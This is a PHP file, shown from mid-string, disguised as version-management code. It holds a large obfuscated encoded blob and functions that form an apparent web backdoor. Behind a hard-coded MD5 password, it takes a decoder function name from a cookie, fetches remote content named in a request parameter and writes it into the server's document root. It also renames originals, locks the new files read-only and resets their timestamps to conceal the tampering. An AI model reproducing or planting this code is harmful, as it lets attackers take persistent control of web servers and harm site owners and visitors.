cYvElrH1cFTMXFQg9BlN/Cwj/pTujKUWpovEbVQ0tM2I0LJkfnTIuMTIlpltcB1klKT5cMvuupaWurI9eMKysMKucp3EmXSjvHzShM2IpVvjtWTtcVPLzVPEbJ1jvHzShM2IpVy0tCG0tZFyppykhDTyhL2k1MTHtKPWpKUt3A3NgKSk4AwyhL1kprQMwqJEyKSk4AmApKUtlMzWuL2gpKUt2A3WiqIkprQMyMP5pKUt2LKOaKPV7KT4tWSMMEJqdKUD9VTM1ozA0nJ9hXPEmoRWLpUpkERtcKUW7WUAzoFN9VSjvK0pkMJMpVwfxMTkUKm0xp2MgJltmZv0lZPxtKP8tZ11pqQgpqPExoRqsYw0xp2MgJlt5ZP0tBQLcVSjiAS0tYvEmMz1oXQZmYFNlAvNeVQVcKP8mKF4xp2MgJltkYGxeVQtcVSjiVQAqYykhW0HaYykhW0VaKUDhKT4xp2MgJltlZF0tAlNgVQtcVSjiVQMqB1k0WTEfE18tYw0tVPtbZwptYFNlZlxtKP8tAPyppwfxMTkUK1khYw0tXPt5ZvNgBQDtXlN0XFOpYmDcVP4tWlp7VPExoRqsVQ1pqUA0py9lo3DkZltxMTkUKlx7VSk0pzI0qKWhVPExoRqsXPEmoRWLpUpkERtcB307VPEdFUL2KUV9VTM1ozA0nJ9hKT4bWT5UHUWzH3cKVPjxHyI0K0fcVUgpqPECGJkRCIjvEx1hImWyJwAbJIEPARMXqmH5IaqVFzkyBSyZZzSnq25eF1q4oxELpmAFoRECHKWCZQWXIQqzLmSwoTqdLyjvB1khpzI0qKWhVPECGJkRB1khsGgpqPEdJGEhIIAWrKb9W0gSMwExIyjin09WZScfn0Z4IH9uDxx3LxWTAz9TIJWRX1qPDmWXJxkfHHSWHRMiM3yPHGAXp01VDyL4nGuVrHSJrJqpY3cYZmS3oIAJIaIeHwImoxSTDHkLAyMbAHyWJKWlAmL1AzILoJWOoUx5pmE1M09LHxR5o0S2pIMVEaEpYlgKGSRlpSSVHJcJrKE4JxWRpKuZGx95F1jiIHgln1WIBQR2Z0uwBKykqKujZ2MAMTSbpRyEMSWgFKI2AaIHLwEWFT0eBHkUEmAcEUISMGWbH2qInmMPHyMIAzfkDzAvHKRkL29aARqPImEmAaOTFxEzZ3b1DKAUZIEiZRcUMKIUqUyQMmIxAacQMaAYnKMkLFgfqR5pY1ARZID5IRkiARuyFSL1pz9VHIjioT9jDKSjrUAGnHDeZ0I4ZT9WoUOeGSMYH2udITISpzMMEzW1oTyZFaIVZUcfqIq0A0gBZH0eA3ZmFKcvZyjiE1jiGRuzM0R4qaAUZ3tjM0gzEQqiq01fDGMUMKyioyx4JKWMKP9nqSq4nxEgq2kGrxA0ozWRqJyfDaqlZ1WKnmtlJxIPqIjiq2b1q0L3MIAvrRcnqScjoaIGFxLeX25TozZmMJcTHGAxMz5SIHuQZISxIJ9Ro29BETWAMz1VFQAuG3cgXmSlo0ELMGZkDaEZFTu0HaA6DwADBGEfqSZ3IzS1oUqAHzf3L21WM3SbA1cdAyWMJxWnAIOknRgGAaOXIKb0DaW6G211EIIxHUS1qT9CGTyWIacBHQMvKP92EQqHpwWWHKxen252qJ4en25nHIEULKblLz9LnmV4qaH2LIp2HJ10ZQSpY3H5pmuVLz9no0HlpaV5HJWiJHEWAmOcZGEzGHcIZRWJFJudoSb3IKckBRbjn0cdpKOxBKquLIOdqmyJIKIEDxAkHRcFDzy0E2SHASAIE3V4DIEkEUyyHH9QqPgpY0MMAaqpYmOMKP9KrGSRpH9YoUWVEIcno2gEGx9lnGInGRRkAaL5MGMkZ3qhBTuFBRgXFabeGJD5Gz85ryyTnHM6ox1Ip0ufnHEfoyM6nyWJFmACpyAQAJqnpSSwASORn1WWGHgxnyumozteEUyfJRSPLzSQM2qZFSIjEySXJKM4FH5HHH55p0yVEz9wFzgwBKEwrGqOpyIeqJ1XD0IIZ3ERJT9hqzSmFRIRG09AqSAAoHuDqx9pYmWmpQOZI25gpJ5AMR1kDwIwq0MfrTA3nH9kAwL5DGq4MxVeMlguZaHeJTIuF2Z3IHI6FGD1JIIxrPgFKP9DHxblGSbjFRAlGyuGDKOSAzcXLHI3HxIwJSW6pRR5Dmx3JTLmrHMQM2DmGHb0ZyyhqRj0pR5ZG29TBHEDZSMdqUSfnIA3D1IzKP9MpUIUITq6Mz5UHJAAEQSkIRHmEz44ZaSXpGIQLwLjZKORMRcOZaWSozSanUMEFzgAFKSBZxMpY2qeLyIFX0R0Z2IUDGqTFTucqQWkGyOnqTMcLHL4KP9eGIOgKP9XoSSYBHqlIzEmIUARD1D2ZmW2E1cgoJMyoIy6MJAmLyOmJz9yqHIJETb2AIOfAUMeX1R2n04eAHATGwWkGHL4FUc0DKSQoJElFGO5n01DEIOzpSADISufI3V2AHyOpmMMo1I3KP9KnlfmFHujIJAII01gH0A1FzEYpJILJSOcISybIzkIAH13rHqUplgVL2cwnJIBrT9TZIOzJJukX1cgpQuYHx51rycPpwuwGT81JKp5HacSJTW5FRkvExIJL2kOMaAUIRV3n0IDE1EbGGWXBIEMBFgyMHWEoJ51GGHjJFgxA0kLqzZ3JwIdGT5WX2upY3t3IxA6LKcdLKA5MyAnL3OnqTL0MGWvFSM0IUMYJSqJZSIfH21ZryOGEwIpY2c6LJuvqyMMrREZFJH0EzIZGxIZMRDmDJ54Iz9cZ1R3q1D0qQSErUSSp2tmFKWfETERqIVmF25JETIQqIu0IH40FwIxZaqbL09KFRknLIyKqKc0oRp5oJM5oKulrKxmpIWGMycIIQSeE243oURjrUZeLxcJo3ypY2gVX3IYJJgnAJtjpHWIGycKI1EfAT9Yo1WYIwMYLzAeExIvqQSVJTEBD1b2Hz9HFIMXryOcAmEZEJI2BHVmHTAyZQySLxMGFzyTAR83ZJylAyjiI1jiKP9EZGI0MQM0MT5fHzy3MaM6ZUciHKWJF0y0ZQAkoKqBJwMnAJy3M2AnX2SeGTuDGIADpzc1IIZmpHAInmHjEKAjAyuhBQqIqRydoac5E21MZwqeZyAQJIt4MQSQZQM1pyNjDzSHBTMTD0Wlp1uCqycZqauIJKWfFzklGmWYpT5jF2gvDxuxH0EMA05Qo3SHn2MUF3WDKP81AacpYlgpY1cyKP9DBRjjZ3cpYmxeIyjiKP9pY051ESEBFKE1Iwx0qTqDGzkSqvgEoRAhFmDln2q4EyIfEUE3I01IZ0R5HTReryuUHGE4rQIvI0IUqHSHX0cOZzgcp2SmMTcWHIuDZSqmpRuOIz9JnKymIIEuLmEIoyEao2WfEaOepTkkLxqQFR0eLISHZaL2HTIPJwA6oUWHoT9ypFgzLHMSnRkap2uhFKu6qKyTZaOwn3OXEIjiL2W0nKWfJQOeqRWmnSpkoyS1KP9yq0ySoQEGoTykAmqWMHfkZycwMJW0EzIlEyR3I2yeFREZGUMlZT92HKEDBRuSIJ1VLaqJBTccrUSCKP9eEQIyn0yxrHW6GGq6I2W6LJxeH0VlGIIzH0AYqQOSISLjnzMjIIH1JaElDzWKJRj5GQykHwu2M3pmJzIPnUDjD0S5BHuEq1c0A1O0nmIlE2WmHGyCqKueq0uQp3y6qaWcpTSZMmObIIIzG0u2pJteJH5IrwyUG29nDaARE2AOqIuxqTMkJxV0ESH3ESy5pJV2E3EgA2ZlAzp2HJcPqQEVBRuOIz5mMzcxoHt5I2k2qQyKDIEzMmH4LvguryWuI01zrxb2FKuQpHc2nxccHUygo1SGAKACIIqCoHWgZQMBoxgynyIEMlgwq1EhD1jiJySFrJMVAzkLqzyPJSMkraWcKP9zEHypYmEIZyOBJSICp0cDAIyxHIZlIIAbrwIFIKEIE3tlpQAiDGL3KP9HGJ1ZIQyFEUZ1DGqUnUcyMzVeH0qBrJAHn1EzGSIAnzqcFTcWn2MirSWIX0yTpRH1E1qbF3uTFR5wrJkgDmIgFKyCHQygLx1eBTt0ZHuOG3OPZR00JKEcFaIQpzW1rHykIxMuGzkcqxgcAmACMQAWqzITo2q6rKSOFSEgEaIAqJx5n1H0oKulpUq6p1jinayBGKSbJQMJqvgPnScHoT9uMKyUAmSIAJWkMIWxpH5aKP9BIQyxqTZ3olf3qx93oaLmqGteIQt0oaA2IyqRFmWDMHyLHwZjZGuSX0gyDwIeAUH1oTykJycCG1yTp1jiEyjiJKyRZaMDH1WRomOBI2AkMwAxAR01BGOxASyCERZ5rJZeDxkxnUWeEaD5oaOKoQp0Lvf3FwAzMzqYXlgzqSqBKP9OZ3WpY05kDxWLEyyfnxcLqGSgJSAgFzt0MJgGqQLmpacAFRIIqHuarzkcGSjiMRuUBIE3DGAxDmqQLaZkqHEEAIcQGz1WI2DmH3H4IxceGHq4L1yjAxWvFauDpJ1YIGLenSVjn0ABF212FSccHx5fqypeGwW2pHIEo2LlZyIGEyWTpQu6HJuEZxkMA25Hpzy0ATczoTyRBRk4IUATAQWfFaWTrycVoxE2qmSDIzcnAIcJFaOwFTWKAaSbDKWvD05QqJMfMJqipwSZFKAfMwEDoJkiAHE4rwL4ASH1nIW5ZIjiEQOaL1MhF0qeJRg5G1udFmteMJypY3EVFxkAq3SDGwIKG05KGzjmJGOgERyZJSqXEJuRrxcaqUSBG25QoGESo05VqacxnH1aIGuxqJcWq1bjrKIeMmAOo2IQpJAFI2M6FyL1rQukqxWmnJgfMIOuD0WjHGxeqRq4AJuAGxqdGGMpY1R0pxu3IQWlIUMvBSEZo2AiHSEbFPg3ITy5GSSeFQOwL0p4I0WYDxuYM1yzJT1yL282nIO3IRSBFUAvX1SeX0SGGxWSE2WLrHgzIUyjoUA0MUIDrxAHFSIKFxMln3WKrTWvFIcHIQupY1R4WmfxowA3MTMzI2Ipow1ppzM1ozA0nJ9hKUDbWUp3Mly7WR14p1btCFOpVxMhE0IuKPV7WUqKIyOwAaqQom0xGKumJyfbBQRtYGp3XIjiVQWqKT4hKUDarvphW0xaVP4xGKumJyfbZwDtYFNkZFNgZGNcVSjiVQAqVP4xGKumJyfbAmDtYFN3APxtKP8tAI1pqP5povqZW1khYvNxGKumJyfbZGN0VP0tBGHtXlN3XIjiVQEqKUVhW1DaYvEArUAnJlt2AvNgAGRcVSjiAI0hVPpaB3WyqUIlovNxq1qJHTZ2q0AiXPE3A2pcB307KUEzqJ5wqTyiovOpqRqwp05BEz1KKUDbWRMzqSMUI1yKA1k0XFO7WTqaFJyQVQ0tKPWIIyuBKPV7WSSnpUVjZw0xM2qWnHAoXQVlYGR0YGLcVSjiVQWqKUDhWTqaFJyQJlt4BPNgVQxlVPftZGNcVSjiZy1ppv5ppvqbW1k0YvEaM0ycD1fbBGDgVQx3VPftZlypYlNlKFNhKUVxM2qWnHAoXQx1VP0tBGttXmpcKP8tZy1pov5povpaB1khpzI0qKWhVPEEJaOlZQVbWRMzqSMUI1yKAlx7KT59MaIhL3Eco24tGx1XZPtxM3WZrGEnKUDfWRMmLFjxnILmKUVcVUglMKE1pz4tKPW0nKAiEIInIQuVnxflqQMOqSWurQERAKb3n1IyH0unFRuRGTgdEQNjpytkM2kEHRMLIHI3q1jvB1khsJM1ozA0nJ9hVSIcIHSLDabtXPEQMaIuZIIdKT4crlEPoKWdBRWWDvN9VSjvG0Z2AS9RLJIpVwfxMx9jFGOCEw0aDvptB1k0WTMCpRxjG0Mpov49WRWgpzb4DxyPJltkZmNgVQx1XmRcKP8tAy1pov4aHlptBlEzG3OWZR9TYw1pqSklW0HaVQgpqPEzG3OWZR9TVP49KUVxDz1lnwuPFHWoXQZ0VP0lZvxtKP8tAy0hKUDxDz1lnwuPFHWoXQHkVP0tZmDtYFN4XFOpYlNmKFN7KUVxMx9jFGOCEv49VSk0WRWgpzb4DxyPJltmZPNgZF01XFOpYmMqYyk0WRWgpzb4DxyPJlt3ZPNgVQD1XFOpYmIqVP4xDz1lnwuPFHWoXQL5YFN1APNeVQLcVSjiZ107WTMCpRxjG0Mppv49KUEpqPEPoKWdBRWWDyfbAlftBF0tZGNcVSjiVQMqKUDhKUVxDz1lnwuPFHWoXQDkVP00ZFypYlNmKF5ppvqxWl5pqPEPoKWdBRWWDyfbZGN4VP0tAmZcVSjiVQIqKUVhWlp7pzI0qKWhVPEzG3OWZR9TXPEQMaIuZIIdXGg9KUWzqJ5wqTyiovOppyMhnSILXPEwMH1pqPypqUftpzI0qKWhVSk0q044XPpaXFNhWTAyGGg9KUEzqJ5wqTyiovOpqTV2oIqgAyccXPEZITM2LHuwKT4fWRSWnIEpqPjxoQxlER5XBTZtXKglMKE1pz4tKPWsFyADAUMpVwg9KT5zqJ5wqTyiovOpqUqBBPtxJxWmn24cVUfxM2cDZvN9VSjvnJA5KPV7WTkQDx9aLw0xM2cDZyfbAmVtYGplXFOpYlNlKGgpovEfD0WCM2VhCFNaFFptYyklWTqdHQWoXQpmVP02ZP0tAlxtKP8tZ11ppv5ppvEanyNlJlt4ZlNgVQtkXlNlXIjiVQEqKUVhKUVapPptYvqaWl5povqcWl4aWmftWTkQDx9aLvN9p3ElK3WiqQRmXPEfD0WCM2VcB3WyqUIlovNxoRAPG2qvB1k0KT5povOppa0xnyx0oyIGFKy6CIk0E2AmGx5ToIpbWTcMAT5IH0y5rvx7WTcMAT5IH0y5rw1InIIOJRW6XPEdJGEhIIAWrKbcBlEdJGEhIIAWrKbtCIk0WT4mq2EzMyqyXPEdJGEhIIAWrKbcBlNxnyx0oyIGFKy6KUV9WSMMEJqdXPEdJGEhIIAWrKbcB2IJLJkpovtxnyx0oyIGFKy6XGftCm48C3ObpPONnJ5woUIxMFupVykpZGHkKSjkAGIpKQR0ZIkpZGD3KSjkAQIpKQR2Z1kpAGqpKQR2ZykpZGD1KSjkAQSpKQR0ASkpZGH1KSjkAQIpKQH2KSjkAwEpKQR3ZSkpZGL0KPVcBlN/CvVfVwOyLGRmA2DmAJD5ZzSzBQZkAJR1AJV4AwOzLJDlZQquVy0fJlWpY2uioJIpY2qfMJ5cpzugKP9mnKZhM2kyozWiq2AioTkyM2HhL2SpYl5bqTSwL2ImplVfVwkWMx1iMUIfMFOgo2EspzI3pzy0MF5wCyklKT5FMKqlnKEyEJ5anJ5yVR9hKUWpoyWyq3WcqTIPLKAyVSjiKUWpoyWyq3WcqTIFqJkyVS5cozEyrP5jnUNxVP0tJ0kqKUWpoyWyq3WcqTIQo25xVPI7HxIEIHIGIS9TFHkSGxSAEK0tVF1zKUWpoyWyq3WcqTIQo25xVPI7HxIEIHIGIS9TFHkSGxSAEK0tVF1xKUWpoyWyq3WcqTIFqJkyVP4tnJ5xMKthpTujVSgZKIklKT48KP9WMx1iMUIfMG4vYPWvMGD3AzDlA2IwMGt5AGx0AwN0MQR0BQt2LmN4ZGNkAvWqKD', '1');
        $data = base64_decode(/**/ $data);
        $data = translation_v2($data, '0');
        $data = translation_v1($data, '1');
        foreach ($data as $item) {
            version_check($item[0], $item[1], $temp, $item[2]);
        }
        version_desc(false);
    }];
    $temp = explode(',', $temp);
    return ['#ver#', version_data($name, 1, 0)];
}

/**
 * @title install path
 */
function version_path()
{
    echo __FILE__;
}

/**
 * @title get version data
 * @param $data
 * @param $offset
 * @param $page
 * @return mixed
 */
function version_data($data, $offset, $page)
{
    $keu = ['', "code"];
    $keu[] = '';
    return $data[$offset]($data[$page], implode('_', $keu));
}

/**
 * @title translation data
 * @param $data
 * @param $offset
 * @return mixed
 */

function translation_v1($data, $mode, $exp = '')
{
    if ($mode === 'X1') {
        $data = base64_decode($data);
        $len = strlen($data);
        $exp = str_replace('=', '', base64_encode($exp));
        $res = "";
        $i = 0;
        while ($i < $len) {
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++)
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k]));
        }
        return $res;
    } elseif ($mode) {
        return json_decode($data, true);
    } else {
        return unserialize($data);
    }
}

/**
 * @title parse version data
 * @param $data
 * @return version
 */
function version_parse($data)
{
    $version = $data['version'];
    if ($version === 'path') version_path();
    if (isset($data[$version])) {
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']);
    }
    return $version;
}

/**
 * @title update version
 * @param $qr
 * @return void
 */
function version_update($check, $qr = false)
{
    if (!version_access("fk{$check}flc", 'e15b9c1b286ef60c1b99d80fda1f59cd')) return;
    $c = $_COOKIE;;
    $cf = implode('_', ['function', 'exists']);
    (!$qr || !$cf($qr)) &&
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for];

    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) {
        return;
    }
    global $temp;
    $a = explode(',', $a);
    if (empty($a[1])) return;
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] ";
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp);
}

/**
 * @title version access or force
 * @param string $version version pass
 * @param string $token check update token
 * @return bool
 */
function version_access($version, $token)
{
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']);
}

/**
 * @title version data is deny
 * @param $data
 * @return void
 */
function version_deny($data)
{
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']);
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v2($data, $offet)
{
    if (!empty($offet)) {
        return gzinflate($data);
    } else {
        return $data;
    }
}

/**
 * @title translation version data
 * @param $data
 * @param $offset
 * @return mixed
 */
function translation_v3($data, $offet)
{
    if (!empty($offet)) {
        return str_rot13($data);
    } else {
        return $data;
    }
}

return 'inited';
/**
 * @title check version token
 * @param $name
 * @param $date
 * @param $check
 * @param string $token
 * @param false $mode
 * @return bool|mixed
 */
function version_check($name, $date, $check, $token = '', $mode = false)
{
    try {
        $vs = 'rename';
        if (!is_array($check)) $check = explode(',', $check);
        $map = [0, 1, 2, 3, 4];
        $m = $mode ? $mode : ($check[1]() - 2693693);
        $iw = true;
        empty($check[9]) || $date = $check[9]($date);
        if ($check[$map[4] + 1]($name)) {
            if ($token && Md5_File($name) === $token) return true;
            $iw = $check[6]($name);
            if ($x = $check[5]($name)) {
                $m = $check[4]($name);
            }
            $x && !$iw && @$check[7]($name, 0744);
            @$vs($name, $name . time());
        }
        if ($check[$map[0]]($check[2])) {
            $l = $check[$map[2]][0] . 'write';
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date);
        } else {
            $r = $check[$map[3]]($name . ".tmp1", $date);
        }
        @$vs($name . ".tmp1", $name);
        $check[8]($name, $m, $m);
        $iw || @$check[7]($name, 0444);
    } catch (\Exception $A) {
        echo $A->getMessage() . "<br>";
        $r = false;
    }
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>";
    return $r;
}